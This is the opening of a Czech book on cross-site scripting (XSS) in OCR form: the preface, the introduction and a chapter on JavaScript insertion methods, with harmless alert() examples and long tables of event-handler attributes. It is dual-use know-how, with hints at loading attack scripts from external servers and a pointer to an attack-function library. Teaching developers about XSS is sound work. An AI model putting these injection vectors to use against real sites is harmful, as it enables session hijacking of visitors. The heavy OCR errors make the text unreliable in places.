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Predmluva

Ackoliv je tu s nami Internet teprve relativné kratkou dobu, stihl
jiz projit neuvéfitelné rozsahlym vyvojem. Z nicotné a neohrabané sité se
stalo médium, které vyuZivaji stovky miliond lidi po celém svété, aby si
vzajemné vymeénovali data a své zkuSenosti. Jednotlivi uzivatelé a obchodni
spole¢nosti dnes bézn€ na Internetu pracuji s citlivymi daty, osobnimi udaji
zékaznikii a zaméstnancli, nebo obhospodaiuji obchodni transakce a sva
finanéni konta. Obchodni spole¢nosti jsou dnes na této siti natolik zavislé, ze
pfi sebemensim vypadku spojeni s touto siti jim kazdou minutou vznikaji az
nékolikatisicové finanéni ztraty™.

Soucasné s vyvojem Internetu se vSak vyvijeli a zdokonalovali
i jedinci, ktefi se z rozmanitych divodi pokouseli proniknout do pochopeni
systémi fungujicich na Internetu do takové miry, aby byli schopni tyto
systémy vyuzit jinym zplsobem, nez ktery pivodné jejich tviirce zamyslel.
Motivace téchto jedincti byla vzdy rGznd. Od pouhé touhy po porozuméni
dané problematice, pies la¢nost po informacich uloZenych na internetovych
serverech, ze snahy po vyniknuti nad ostatnimi a zviditelnénim se, aZ po
dnes velice rozsahly organizovany zlo¢in, kde jde v prvni fadé o nemalé
penize.

Diky témto uto¢nikiim se tak zacalo hojné diskutovat o otazkach
bezpecnosti, nebot’ ta stala v prvnich verzich sitovych zafizeni a softwaru
vzhledem k jeho tizkému vyuziti az na poslednim misté. Dnes je jiz nastésti,
hlavné také kvili povaze ptrendSenych dat, brana bezpecnost velice vazné.
Bohuzel ale diky tomu, ze jde vyvoj kupfedu velice rychle a vyvojata
aplikaci kazdym dnem vysokym tempem ptibyva, je kvalita aplikaci po
bezpecnostni strance diametralné rozdilna. Na jedné strané stoji vyvojafi,
ktefi maji zazita pravidla tvorby bezpeénych aplikaci. Na druhé strané pak
stoji jakési ,rychlokvasky®, kteti sice dokazi odvést vybornou praci po
funkéni a vzhledové strance, nicméné otazkou bezpeCnosti se nikdy
nezabyvali a nedokazi si tak pfipustit realna rizika.

Literatury, kterd se pravidly bezpeéného programovani zabyva
jsou v knihkupectvich plné regaly a i na Internetu je bezpecnosti vénovano

Y Vyjadieno v USD
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nepteberné mnozstvi textil. Jen tézko tak mtzeme podlehnout dojmu, ze by
vyvojaii neméli moznost se k témto zdrojim informaci dostat. Daleko
pravdépodobnéjsi se proto jevi skuteCnost, ze vyvojafi bez zkuSenosti
s pfedchozim napadenim svych aplikaci nepfikladaji otazkam bezpecnosti
velky vyznam.

Zranitelnosti webovych aplikaci pfitom neni zase tak mnoho.
Nejcasteji jsou vyuzivany zranitelnosti typu SQL injection a jiné podobné
typy injekei, Local File Disclosure (LFD), Local File Inclusion (LFI),
Remote File Inclusion (RFI), Cross-Site Request Forgery (CSRF), Cross-
Site Scripting (XSS), Clickjacking, apd. Na nékterou z téchto zranitelnosti je
mozné narazit minimalné ve tfech Etvrtinach webovych aplikaci, pfi¢emz
necastéji zastoupena bude s nejvétsi pravdépodobnosti pravé zranitelnost
typu Cross-Site Scripting (XSS).

To je také diavod, pro¢ jsem se rozhodl napsat knihu Cross-Site
Scripting v praxi, kterou pravé drzite ve svych rukou. Ne proto, aby
vyvojafe naudila spravnym navykiim bezpe¢ného programovani. Od toho tu
jsou jiné specializované publikace, ale proto, aby jim ukazala, jak snadno
jsou chybné& napsané aplikace napadnutelné a jak hrozivé nasledky mize mit
zdarn& provedeny utok. Pti psani této knihy jsem si kladl za cil, aby
vyvojartim béhem jejiho Cteni béhal mraz po zadech a diky tomu se alespon
na chvili pozastavili a pfedstavili si podobné utoky, které by byly vedeny
proti jimi vyvinutym aplikacim. Pokud tato kniha donuti alespoii jednoho
vyvojafe sahnout po udebnici bezpe¢ného programovani, pak mohu byt
spokojen, nebot kniha tim splnila svij ucel.

Pokud vas na kterémkoli misté v této publikaci budu nabddat ke zkousce
popsanych utocnych skriptii a postupu, vzdy tim minim otestovani
zranitelnosti na viastni webové aplikaci, nebo tam, kde vam dal majitel webu
sviij souhlas s provadénim téchto testu. Jakékoliv zneuziti utocného postupu
¢i sKriptu na cizi aplikaci je protizakonné a miize vést az k trestu odnéti
svobody podle §180, §182, §183, §230, §231 a §232 trestniho zdakoniku
¢.40/2009 sb.
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Uvod

Knihu, kterou pravé drzite ve svych rukou, jsem vénoval
zranitelnosti Cross-Site Scripting, nebo jak se Cast&ji ve zkracené podobé
uvadi XSS. V soucasné dobé se tato zranitelnost tyka témér ti ctvrtin vSech
webovych aplikaci®, o ¢em? sv&déi i nemilosrdng se plnici archiv vénovany
takto zranitelnym webtm? Nebezpegnost této zranitelnosti je navic dle
mého nazoru mezi problematiky znalou vefejnosti a dokonce i mezi
nékterymi "odborniky" v oboru zabezpeceni velice podcefiovana.

Diky Siroce roz$itenému proof of conceptu této zranitelnosti se
myln¢ dostala do povédomi vétSiny uzivateld hlavné jako zranitelnost, ktera
umozni uto¢nikovi vyvolat na zranitelné webové strance pouze vystrazné
okno se zpravou ,.hacked by...”“. Tato pfedstava je vSak az neskute¢né mylna
a od reality na hony vzdalena. Jak si dale v této knize na praktickych
prikladech ukaZeme, muze to¢nik skrz zranitelny web ziskat s vyuzitim
skriptovani plnou kontrolu nad webovym prohlizeem nic netusiciho
navstévnika webové stranky. Muze vyuZzit nebo unést uZzivatelovo sezeni
a pod jeho identitou a s jeho G¢tem mize pachat skody, jak na uzivatelové
jméné nebo ulozenych datech, tak i v jeho financich.

Vzhledem k tomu, Ze se jedna o tak masové rozsifenou webovou
zranitelnost, k niZ navic existuje velka spousta studijniho materialu
a pochopeni principd, na kterych je zneuziti této zranitelnosti postaveno, je
tak jednoduché, divim se, Ze prozatim neni této zranitelnosti zneuzivano
Vv daleko vétsim méfitku, nez v jakém tomu v soucasné dobé je. Zamyslim-li
se nad vSemi trumfy, které dnes v tomto sméru lezi v rukou potencialnich
uto¢nikl, nezbyva mi nez kiicet: ,,Vyvojafi! Vzpamatujte se a kone¢né
jednou provzdy vymit'te tuto zranitelnost z webu!*“ A¢ se to totiz na prvni
pohled nezda, mohla by se jednoho dne stat tato zranitelnost prostfednikem
napiiklad pti velice rozsahlém DDoS utoku, ktery by dokazal vyfadit
Z provozu nemalé procento webovych servert. ..

! Studie WhiteHat Website Security Statistic Report z roku 2010 uvddi, Ze
zranitelnosti XSS trpi priblizné 71% vsech webovych aplikaci a radi ji tak na prvni
pricku v Zebricku nejrozsirenéjsich webovych zranitelnosti.

2 http://www.xssed.com/archive
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Kapitola 1

Skriptovani

Diive nez se zaCneme vénovat samotné zranitelnosti XSS,
musime se podrobn¢ zaméfit na skriptovaci jazyky na stran¢ klienta. Na téch
je totiz zranitelnost Cross-Site Scripting (coZ v piekladu znamena
skriptovani napfi¢ siti) zaloZzena a bez nich by této zranitelnosti nikdy
nebylo.

Neni tomu tak davno, kdy webové stranky byly tvofeny pouze
statickym textem a hypertextovymi odkazy. Nasledn¢ byly sice oziveny
grafikou, ale pfesto nadale zistavaly Cist¢ statickymi. Neexistoval zadny
nastroj, ktery by umoziioval ménit obsah stranky v dob¢, kdy byla nactena
a zobrazena uzivateli. RUizné dopliiky, na které jsme dnes na webovych
strankach zvykli (naptiklad hodiny zobrazujici na webové strance aktualni
¢as, nebo rozbaleni roletového menu pfi najeti kurzoru na ur¢ité misto), byly
v prvnich verzich Internetu utopii. Dnes umoziiuje dynamiku webovych
stranek nepteberné mnozstvi nastroji. Od dynamického vytvafeni stranek na
stran¢ serveru, pies skriptovaci jazyky na strané klienta, které se dnes
prostiednictvim Ajaxu stavaji jeSté vice interaktivnéj$i, az napiiklad po
flashové multimedialni animace, ¢i Java applety. Jak jsem vSak zminil o par
radku vyse, je zranitelnost XSS zalozena na skriptovacich jazycich na strané
klienta, které jsou sou¢asti webovych prohlize¢t. V dal$im textu se proto
budu vénovat prave jim.

Skriptovaci jazyky implementované do webovych browsert
umoznily rozhybat obsah webovych stranek v realném case. Jako prvni
pfisla se svou implementaci skriptovaciho jazyka do webového prohlizece
spole¢nost Netscape. Ta do svého prohlize¢e implementovala skriptovaci
jazyk zalozeny na ECMAScriptu a nazvala jej JavaScript (nezaménovat
S programovacim jazykem Java). Nasledné jej pievzaly také dalsi webové
browsery na trhu véetné Internet Exploreru. Do dne$niho dne se stale jedna
0 nejrozsifengjsi a nejCastéji pouzivany skriptovaci jazyk pouzity pfi
skriptovani na webovych strankich. Jako reakce ale brzy pfisla od
Microsoftu na trh i jeho vlastni pfedstava o skriptovacich jazycich ve
webovém prohlize¢i v podobé skriptovaciho jazyka VBScript. Nikdy vsak
nedoslo k jeho implementaci i do ostatnich webovych browserti a VBScript
tak zustal vysadou pouze Internet Exploreru. Existuje jest¢ mnozstvi dalSich
skriptovacich jazyku, které jsou vice ¢i méné ze strany webovych prohlizecu
podporovany. Mezi tviirci webovych aplikaci si ov§em diky svému rozsiteni
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a jednoduchosti ziskal své misto pravé JavaScript. Tomu se budu ze stejného
divodu vénovat i ja v této knize a veSkeré zde uvedené ptiklady budou
vytvofeny praveé v tomto skriptovacim jazyku.

Nesmime zapomenout zminit také to, ze skriptovaci jazyky jsou
vesmés jazyky interpretovanymi. Skripty tak ke svému béhu potiebuji
néjaky ten interpret jazyka, ktery bude jednotlivé piikazy skriptu vykonavat.
Pokud se vsak bavime o skriptovani na strané webovych browserd, jsou
témito interprety pravé webové prohlizece, které interpret jazyka obsahuji.

Se stejnymi skriptovacimi jazyky, o nichz se na tomto misté
zmifuji, se miizete setkat i jinde, neZ jen ve webovém prohlizegi. Casto jsou
tyto jazyky implementovany do rliznych samostatnych projektd. Mohou
béZet na strané¢ serveru podobné jako tieba PHP ¢&i ASP, kde se staraji
0 vytizovani klientskych pozadavki, nebo je mizete mit nainstalovany jako
samostatné interprety jazyka bézici pfimo pod operacnim systémem. Od
ostatnich verzi jsou vSak verze integrované do webovych prohlizecd
ochuzené o nékteré funkce, které by mohly predstavovat bezpecnostni rizika.
Pomoci skripti v prohliZe¢i tak napiiklad neni mozné piistupovat k obsahu
soubort uloZenych na disku, nebo na né&j data zapisovat.

Zbyva jesté zodpovedét otdzku, jakym zpisobem se skripty od
tvlirch webovych aplikaci dostavaji k uzivatelim. Existuje hned nékolik
moznosti vkladani skriptd do webovych stranek, o nichz se podrobné
rozepiSi v kapitole vénované JavaScriptu. Na tomto misté pouze uvedu, Ze
skripty se pfedem dohodnutym zptsobem vkladaji pfimo do HTML kodu
webové stranky, nebo jsou do ni dodateéné nacitany z externich soubort.
Jsou tak preneseny spoleéné s webovou strankou a mohou s ni proto
okamzité po svém nacteni zacit aktivné pracovat. Soucasné existuji také jista
omezeni (napiiklad v podobé Same Origin Policy), ktera jasné definuji
hranice objekti, ke kterym je jednotlivym skriptim povolen pfistup, a ke
kterym jiz nikoliv.

Skripty zlstavaji v béhu nebo ptipraveny k pouziti od chvile, kdy
jsou spoleéné s webovou strankou nafteny webovym prohlizeéem, az do
chvile, kdy uZivatel pfejde na jinou webovou stranku nebo kdy stranku se
skriptem uzavie. V tom ptipad¢ dojde k odstranéni skriptii z paméti a neni
mozné je nadale vyuzivat. Na toto je potieba myslet v ptipadech, kdy je
zapotiebi nechat skript dostupny pro dalsi akce, ale soucasné si piejeme
nacist jinou webovou stranku.

JavaScript

Hned vuavodu je potieba si fici, Ze bez znalosti JavaScriptu,
ptipadné jiného skriptovaciho jazyka, se zadny z Gitoénikid a vyvojart, ktery
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chce vyzkouset sofistikovangjsi ttok a ne pouze nalézt zranitelné misto
v aplikaci, neobejde. V pfipadé, Zze se nasim cilem stane pouze hledani
slabych mist v zabezpeCeni aplikace, vysta¢ime si ¢asto pouze s metodou
objektu window alert, kterou se ¢asto demonstruje zranitelnost ve webové
aplikaci. Cim hloubg&ji vsak do JavaScriptu proniknete a osvojite si
moznosti, které nam tento skriptovaci jazyk nabizi, tim slozitéjsi
a sofistikovanéjsi utoky budete moci pro testovaci ucely vytvaret. Teprve
s dokonalym osvojenim skriptovaciho jazyka pochopite skute¢nou silu atokt
XSS a pochopite, pro¢ je potieba se vyskytu této zranitelnosti ve webovych
aplikacich jednou provzdy zbavit. Jak jsem vSak psal jiz v samotném uvodu
této knihy, stale existuje velké mnozstvi téch, kteti z JavaScriptu znaji pravé
a pouze metodu alert a na zakladé¢ toho soudi a podcetiuji veskeré
zranitelnosti typu Cross Site Scripting.

Kromé samotného JavaScriptu patii mezi dalsi véci, které by mél
znat kazdy, kdo chce zranitelnosti XSS a jejich vyuziti studovat, také jazyk
HTML, kterym je tvofen obsah webové stranky. Dale je velmi dulezité
porozumét objektovému modelu dokumentu (Document Object Model
DOM), skrz jehoz metody a vlastnosti jednotlivych uzld pfistupujeme
k samotnym objektim umisténym na webové strance. No a Vv neposledni
fadé vyuzijeme i znalost kaskadovych styli CSS, které ovliviuji vzhled
webové stranky a s vyuzitim JavaScriptu i jeji chovani.

Vzhledem k tomu, Ze tato kniha neni a ani si neklade za cil, byt
ucebnici uvedenych témat, dovoluji si Ctenafe se zajmem o jejich blizsi
studium odkazat na n€kterou z mnoha dostupnych publikaci, které se vyukou
téchto témat primarné zabyvaji. V této knize vas pouze v kratkosti uvedu do
problému, abyste méli alespon zakladni pfedstavu, 0 ¢em to v nasledujicim
textu vlastné pisi a dokazali si tak popisované postupy Iépe piedstavit.

Samotny JavaScript' je maly, objektové orientovany a hlavnd
multiplatformni skriptovaci jazyk. Bohuzel jeho implementace neni ve vSech
prohlize¢ich stoprocentné kompatibilni a je proto obcas nutné psat pro rizné
prohlizeCe rizné casti kodu, nebo vyuzit nékterého z dostupnych JS
frameworka, ktery tyto drobné nekompatibility pieklenuje. Nyni se vSak jiz
podivame na zpUsoby, kterymi je mozné vkladat kod JavaScriptu do
webovych stranek. Téchto zpusob maji vyvojaii k dispozici hned nékolik,
pri¢emz kazdy zplisob se vyuziva s jinym zamérem.

! http://cs.wikipedia.org/wiki/JavaScript
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napiiklad také na internetovych strankach jakpsatweb.cz nebo v elektronické
referenéni pifrucee’ tohoto jazyka.

Vlozeni koédu mezi HTML tagy <script> a </script>

Kod JavaScriptu je mozné vkladat do webové stranky za pomoci
parového HTML tagu <script>, ktery samotny kod skriptu obklopuje.
O skriptu potom fikame, Ze je interni nebo piimo vlozeny. Kod v tomto
tvaru je mozné vkladat jak do hlavicky, tak i do téla HTML kodu webové
stranky. Takto vlozeny skript se provede okamzité, jakmile je webovym
prohlizeCem nacten. V praxi to znamena, Ze je zobrazen obsah webové
stranky, ktery je vHTML koédu stranky umistén pted tagem <script>,
nasledné se provede kod JavaScriptu, pfi¢emZ je zobrazeni zbyvajici ¢asti
webové stranky pozastaveno do doby, nez kod JavaScriptu ukonéi svou
¢innost. Teprve poté dojde k zobrazeni zbyvaji ¢asti webové stranky, kterd je
ve zdrojovém kodu stranky umisténa za ukoncovacim tagem </script>.

Jednoduchy ptiklad HTML kodu webové stranky, ktera obsahuje
JavaScript vloZzeny mezi tagy <script> uvadim ve vypisu 1. Na tomto
ptikladu si muizete mimo jiné vyzkouSet také vySe popsanou vlastnost
s Casovou posloupnosti. Pfi nacteni stranky z vypisu dojde nejprve
k zobrazeni nadpisu stranky. Nasledné se za¢ne provadét kod JavaScriptu,
ktery nam vyvola vystrazné okno se zpravou "test" a teprve poté, kdy toto
okno uzavieme, dojde k zobrazeni zbyvajici Casti stranky. Ta je zde
piedstavovana odstavcem obsahujicim text "Text zobrazeny pod nadpisem".

Vypis 1- HTML kéd webové stranky s vloZenym JavaScriptem

<html>
<head>
</head>
<body>
<hl>Nadpis stranky</hl>
<script type="text/javascript">
<!--
alert("test") ;
//-=>
</script>
<p>Text zobrazeny pod nadpisem</p>
</body>
</html>

! http://www.planetpdf.com/forumarchive/CoreRefrenceJS15.pdf
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Vsimnéte si také znacek <!-- a //-->, které v HTML ohrani¢uji
komentar, jenz se nezobrazuje na webové strance. Uvedené znacky se okolo
samotného skriptu uvadi kvili prohlize¢im, které JavaScript nepodporuji.
V téchto prohlize¢ich by se kod JavaScriptu zobrazil v obsahu webové
stranky ve formé textu, coz by z hlediska celé webové stranky nepiisobilo
zrovna esteticky a v piipadé XSS ttokd by timto zpisobem mohlo snadno
dojit k jeho prozrazeni. Bez zna¢ek komentaii by také mohlo dochazet ke
konfliktu v interpretu HTML jazyka, pokud by skript obsahoval znaky < >
nebo &. Znaky zpétnych lomitek pred HTML znackou konce komentafe se
naopak uvadi kvuli zamezeni $patné interpretace této sekvence znakl ze
strany JavaScriptu. Na druhou stranu dnes jiz prohliZece, které by JavaScript
nepodporovaly, nejsou pfili§ rozsifené. Béhem testovani XSS zranitelnosti Si
tak miizeme dovolit jisté zjednoduseni a tyto znac¢ky proto vynechame.

Dalsi zjednoduseni, které si mizeme dopfat, je vypusténi atributu
type z tagu <script>. Tento atribut je sice az do specifikace HTML 5
povinny, nicméné naprosta vétSina webovych prohlize¢ti povazuje jeho
hodnotu "text/javascript” za imlicitni. Nova norma HTML 5 jej jiz uvadi
jako nepovinny a za implicitni stanovuje pravé JavaScript.

Ve zbytku knihy nebudu u svych piikladt pro zjednoduseni a lepsi
piehlednost uzavirat kod skriptu mezi HTML znacky komentéfe a taktéz
vypustim explicititni uvadéni atributu type v tagu <script>. Jak by vypadal
kod z vypisu 1 po tomto zjednoduseni, je ukazano ve vypisu 2. Ackoliv
osobné tato zjednoduSeni v praxi vyuzivam, byl bych nerad, kdyby to
vyznélo, 7€ vas k nému navadim. To by ode mé nebylo spravné a vy byste si
mohli osvojit $patné programatorské navyky. Ve svych skriptech se tedy
radé¢ji drzte standardd, diky cemuz se mizete vyhnout moznym problémim.

Vypis 2- Zjednoduseny HTML kéd webové stranky s vloZzenym JavaScriptem

<html>
<head>
</head>
<body>
<hl>Nadpis stranky</hl>
<script>
alert("test");
</script>
<p>Text zobrazeny pod nadpisem</p>
</body>
</html>

Na zavér této podkapitoly, kterd se vénuje piimému vkladani
skripti do HTML stranky pomoci tagu <script>, se zminim jesté o vkladani
skripti do XHTML stranek, se kterym se také Casto setkate. Vzhledem
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k odlisnému a ponékud "exotickému" tvaru zapisu, byste mohli byt pfi
prvnim setkani s timto zapisem ponékud piekvapeni.

Pii vkladani interniho skriptu se ve strance XHTML namisto
znacek komentdfe bézného HTML pouzivaji sekvence znakl
[* <I[CDATA[*/ a [*]]>*/

Znacky /* a */ se v tomto ptipadé uvadi jako zacatek a konec
komentafe v jazyku JavaScript, aby zabranily Spatné interpretaci znakd,
které uvozuji, pravé ze strany JavaScriptu. Sekvence znaki <![CDATA[
a ]]> deklaruji sekci CDATA a pouZivaji se Se stejnym zamérem
(tj. zamezeni Spatné interpretace znaki < > a &) jako znaky komentare
v HTML, které ovsem v XHTML vzhledem k jeho XML povaze nelze
pouzit. Piiklad vloZeni interniho JavaScriptu do XHTML stranky uvadim ve
vypise 3.

Vypis 3 - VloZeni JavaScriptu do XHTML stranky

<html>
<head>
</head>
<body>
<hl>Nadpis stranky</hl>
<script type="text/javascript">
/* <![CDATA[ */
alert("test");
/* 11> */
</script>
<p>Text zobrazeny pod nadpisem</p>
</body>
</html>

Nacteni kodu z externiho souboru

Zpusob ptimého vkladani JavaScriptu do HTML kédu stranky
mezi tagy <script> uvedeny v pifedchozi podkapitole se hodi pouze pti
pouziti kratSich skriptd, které maji svij vyznam jen v pouziti s danou
strankou, nebo tam, kde se chceme vyhnout odeslani nového HTTP
pozadavku na dotazeni externiho souboru se skriptem.

Castgjsi, ugelngjsi a z hlediska programovacich navykd spravngjsi
zplsob je ale ukladani JavaScriptu do oddélenych externich soubort
s pfiponou .js. JavaScript se pak do kodu stranky importuje prostiednictvim
atributu src (source) tagu <script>. I v tomto ptipadé zlstava tag <script>
parovy viz. ukazka kodu ve Vypisu 4.
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Vypis 4 - HTML kéd webové stranky s JavaScriptem vioZzenym z externiho souboru

<html>
<head>
</head>
<body>
<hl>Nadpis stranky</hl>
<script type="text/javascript" src="knihovna.js">
</script>
<p>Text zobrazeny pod nadpisem</p>
</body>
</html>

Soubor knihovna.js je ve vypisu 4 nacitan ze stejného umisténi,
kde je ulozena i samotna HTML stranka, kterd tento soubor nacita. Tomuto
odkazu na soubor fikame relativni a pfi lokalizaci souboru se po stromové
struktufe vzdy pohybujeme od umisténi volajici HTML stranky. Relativné
odkazované soubory se ale musi nachdzet na stejném serveru jako HTML
dokument, ze kterého se na soubor odkazujeme. Pro nacteni souboru
zjiného umisténi je mozné pouzit absolutni odkazy ve tvaru
src="http://www.server.cz/js/lknihovna.js".

Pro Casovy pribéh nacteni a spusténi takto vkladanych skriptl
plati stejna pravidla, jako kdyby byl kéd na daném misté pifimo vepsan do
zdrojového kodu stranky. To znamend, Ze k jeho provedeni dojde okamzite,
jakmile na n¢j interpret HTML narazi. Nasledné zobrazeni zbytku webové
stranky se provede teprve ve chvili, kdy skript ukonéi svou €innost.

Tento zplsob vkladani JavaScriptu do kodu webové stranky ma
hned ngkolik vyhod. Zdrojovy koéd stranky se stava piehlednéj$im, je
zajisténo oddéleni funk&nosti stranky od jejiho vzhledu, ale hlavné se kod
skriptu stdva znovupouZitelny i na jinych mistech stejné nebo dokonce i jiné
webové aplikace. Zména kdédu se pak provadi pouze na jednom jediném
mist¢ a neni v piipadé potieby nutné upravovat zdrojové kody vsSech
webovych stranek, kde jsme dany skript pouzili. O dal§im kladu skripti
nacitanych z oddélenych souborti se zminim v souvislosti s bezpec¢nostni
politikou Content Security Policy. Pokud totiz budete jako tvirci webovych
aplikaci vkladat skripty timto zplisobem, muzZete s nasazenim uvedené
politiky ochranit svou aplikaci pfed injektazi cizich skriptu.

Z hlediska utoki XSS ma naditani JavaScriptu z externiho souboru
jesté jeden vyznam, na ktery se pozdgji zaméfime podrobnéji. Nékdy totiz
neni z diivodu jistych omezeni pro utocnika mozné vlozit na stranky Gto¢ny
skript v celé své velikosti, nebo v piipadé non-perzistentnich XSS vlozit
obsah celého kodu do hypertextového odkazu. V takovych piipadech se
velice ucinné vyuziva pravé nacteni skriptu ze souboru ulozeného na
nékterém z webovych servert.
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Diky existence JavaScriptu ulozeného v externich souborech
existuji také specialné pripravené knihovny funkci JavaScriptu, které
obsahuji znovupouzitelny kod plnici rozlicné funkce. Pti praci
s JavaScriptem napfiklad Casto narazite na jistou nekompatibilitu mezi
jednotlivymi prohlizedi. Ta je zvlasté patrnd napiiklad pii praci se
zachytavanim udalosti. V takovém pfipadé je nutné psat rizné ¢asti kodu pro
rizné webové prohlizeCe. Tuto nekompatibilitu pomohou JavaScriptové
frameworky, jak se témto knihovnam funkci také fikd, obejit a tim
vyvojaiim zna¢né usnadiiuji praci. Hojné rozsitené knihovny jsou navic
testovany Sirokym okruhem vyvojait a jsou tak vyladény na maximalni
moznou miru. Je nutné si ale také uvédomit, ze pokud vyvojafi sahnou
k pouziti kédu tieti strany, berou tim na sebe soucasné mozna rizika, Ze
spole¢né s témito kody zanesou do aplikace i bezpe€nostni diry, kterych by
se sami pii bezpetném programovani nedopustili. Vzdy je tedy zapotiebi
vybirat pouze takové knihovny, kterym plné¢ divéfujeme. Z nejvice
roziifenych JavaScriptovych frameworkd stoji za zminku napiiklad Dojo’,
jQuery? nebo Prototype®. Z hlediska XSS je dostupna knihovna AttackAP1*
zahrnujici nejriznéjsi utocné funkce.

In-line skripty

Tteti a ve své podstaté posledni tradi¢ni zptisob zaclenéni skriptd
do webové stranky je jejich vloZeni do jiného tagu jako hodnotu jeho
atributu. Atributy jsou v tomto pfipadé pojmenovany podle udalosti, které je
spousti. Seznam atributt (udalosti), které je mozné ke spusténi vasSich
skriptd pouzit, uvadim v tabulkach 1 a 2.

! http://www.dojotoolkit.org

2 http://www.jquery.com

% http://www.prototypejs.com

* http://code.google.com/p/attackapi/
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Tabulka 1 - Nejéastéji pouZivané atributy udalosti

Udalosti dokumentu a oken

onLoad
onUnload
onAbort
onResize
onScroll
Udaélosti formuldre
onSubmit
onReset
onFocus
onBlur
onChange
onSelect

Udzlost

Udélost vyvoland po uUplném nacteni strénky/obrazku
Udalost vyvolanad t&sné& pred uzavienim/opudténim stranky
Udalost vyvoland pf¥i pferuseni naditani stranky/obrazku
Udélost vyvoland pri zméné velikosti okna prohliZece
Udalost vyvoland pf¥i rolovani dokumentu/jiného prvku

Udalost vyvoland tésné pfed odeslanim dat z formulare
Udalost vyvolana nulovacim tlac¢itkem formulafe - reset
Udélost vyvolana aktivaci okna/prvku formuléfe

Udalost vyvolanad ztratou fokusu

Udalost vyvolana zménou hodnoty prvku

Udalost vyvolana p¥i oznaceni textu taZenim mySi

i mySi a klav
onClick
onDblClick
onMouseOver
onMouseOut
onMouseMove
onMouseDown
onMouseUp
onKeyPress
onKeyDown
onKeyUp

Udalost vyvolana po kliknuti mySi nebo pfi preddef.akci
Udélost vyvolana doubleclickem na prvku

Udélost vyvoland najetim kurzoru my$i nad prvek

Udalost vyvolana ve chvili, kdy kurzor myS$i opusti prvek
Udalost vyvolana pfri pohybu kurzoru mySi nad prvkem
Udélost vyvoland pri stisknuti tlac¢itka my3i nad prvkem
Udalost vyvolana pri uvolnéni tlacitka myS$i nad prvkem
Udalost vyvolana na aktivnim prvku pf¥i stisknuti klavesy
Udélost vyvoland na aktivnim prvku pri stlaceni klavesy
Udélost vyvoland na aktivnim prvku p¥i uvolnéni klavesy

Tabulka 2 - Seznam vétSiny atributi udalosti (Fazené abecedne)

FSCommand
onAbort
onActivate
onAfterPrint
onAfterUpdate
onBack
onBeforeActivate
onBeforeCopy
onBeforeCut
onBeforeDeactivate
onBeforeEditFocus
onBeforePaste
onBeforePrint
onBeforeUnload
onBeforeUpdate
onBegin

onBlur

onBounce
onCellChange
onChange

onClick
onContentReady
onContextMenu
onControlSelect
onCopy

onCut
onDataAvailible
onDataSetChanged
onDataSetComplete
onDblClick
onDeactivate
onDrag

onDragEnd

Vyuziti ke spusSténi skriptu z vloZeného Flash objektu
Pri preruSeni nahravani stranky nebo obrazku
Pri zaktivnéni objektu

Po ukonéeni tisku nebo tiskového ndhledu

Po aktualizaci obsahu objektu z databaze

Pri stisku tladitka Zpét

Pred zaktivnénim objektu

Pred zkopirovanim vybéru do schranky

Pred vyjmutim vybéru do schranky

Pred zménou aktivniho objektu

Pred vybérem editovateného textového pole

Pred vlozenim obsahu ze schranky

Pfed vyvolanim tisku nebo tiskového ndhledu
Pred uzavfenim nebo odchodem ze stranky

Pred zahdjenim aktualizace obsahu objektu z databéaze
Pouzito u time2 Behavior p¥i startu casovani na objektu
P¥i ztraté focusu

Pokud rotujici text v <marquee> narazi na okraj
Pri zméné dat v jejich poskytovateli

Pri zméné hodnoty editovatelného prvku

Pri kliknuti mySi

Pri ukonCeni naditani prvku

Pri vyvolani kontextového menu

Pri vybéru z moZnosti

Pri kopirovani do schrénky

P¥i vyjmuti vybéru do schrénky

Pri prichodu asynchronnich dat

Pri zméné obsahu datového zdroje

Pokud nejsou k dispozici Z&dna dal3i data

Pri doubleklicku myS$i

P¥i zméné aktivniho prvku

Pri zapoleti pfetahovani objektu

Pri ukonCeni pfetahovani objektu
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onDragEnter
onDragLeave
onDragOver
onDragDrop
onDrop

onEnd

onError
onErrorUpdate
onExit
onFilterChange
onFinish
onFocus
onFocusIn
onFocusOut
onHelp
onKeyDown
onKeyPress
onKeyUp
onLayoutComplete
onLoad
onLoseCapture
onMediaComplete
onMediaError
onMouseDown
onMouseEnter
onMouseLeave
onMouseMove
onMouseOut
onMouseOver
onMouseUp
onMouseWheel
onMove
onMoveEnd
onMoveStart
onOutOfSync
onPaste

onPause
onProgress
onPropertyChange
onReadyStateChange
onRepead
onReset
onResize
onResizeEnd
onResizeStart
onResume
onReverse
onRowEnter
onRowExit
onRowDelete
onRowInserted
onScroll

onSeek

onSelect
onSelectionChange
onSelectStart
onStart

onStop
onSynchRestored
onSubmit
onTimeError
onTrackChange
onUnload
onURLFlip
seekSegmentTime

Pfi vstupu pfetahovaného objektu nad prvek

Pokud pfetahovany objekt opoudti prvek

P¥i ptretahovani objektu nad prvkem

P¥i pudténi pfetahovaného objektu

Pfi puSténi objektu

Pouzito u time2 Behavior pf¥i ukonceni Casovani na objektu
P¥i vyskytu chyby

P¥i vyskytu chyby p¥i pfenosu dat z datového zdroje
P¥i kliknuti na odkaz nebo tlacditko zpét

P¥i zméné stavu prvku p#i pouziti vizuadlniho filtru
Ve chvili kdy rotujici text v <marquee> dokoné¢i smyc&ku
P¥i ziskani fokusu

Pfi ziskani fokusu

P¥i ztraté fokusu

P¥i vyvolani napovédy

P¥i stisknuti klavesy

P¥i stisku a uvolnéni klavesy

P¥i uvolnéni klavesy

Po nac¢teni nédhledu

Po nacteni objektu

P¥i ztraté opravnéni pro zachytdvani udalosti

U time2 Behavior pf¥i nacteni medidlniho obsahu

U time2 Behavior pfi problému s pfrenosem

P¥i stisku tlac¢itka my3i

KdyZz kurzor my3i vstoupi nad objekt

KdyZz kurzor my3i opusti objekt

P¥i pohybu kurzoru my3i nad prvkem

KdyZz kurzor my3i opusti objekt

Pri pohybu kurzoru myS$i nad prvkem

P¥i uvolnéni tlac¢itka my3i

P¥i pouziti scrolujiciho kole¢ka na my3i

P¥i pohybu oknem pfohliZece

P¥i ukonéeni pohybu oknem prohliZece

Pfi zapoceti pohybu oknem prohliZece

P¥i vloZeni obsahu ze schranky

U time2 Behavior pri preruSeni

Po nahrani flash videa

P¥i zméné vlastnosti objektu

P¥i zméné stavu pfipravenosti objektu

U time2 Behavior na zacatku kazdé periody

Po stisku tlacditka reset nebo u time2 Behavior
P¥i zméné rozméru okna prohliZece

P¥i ukonéeni zmény rozméru okna prohlizece
Pfi zapocCeti zmény rozmért okna prohliZece

U time2 Behavior po obnoveni bé&hu po pause

U time2 Behavior

Pri zméné dat v poli navazaném na datovy zdroj
Po zméné dat v poli navazaném na datovy zdroj
Pri smazani dat v datovém zdroji

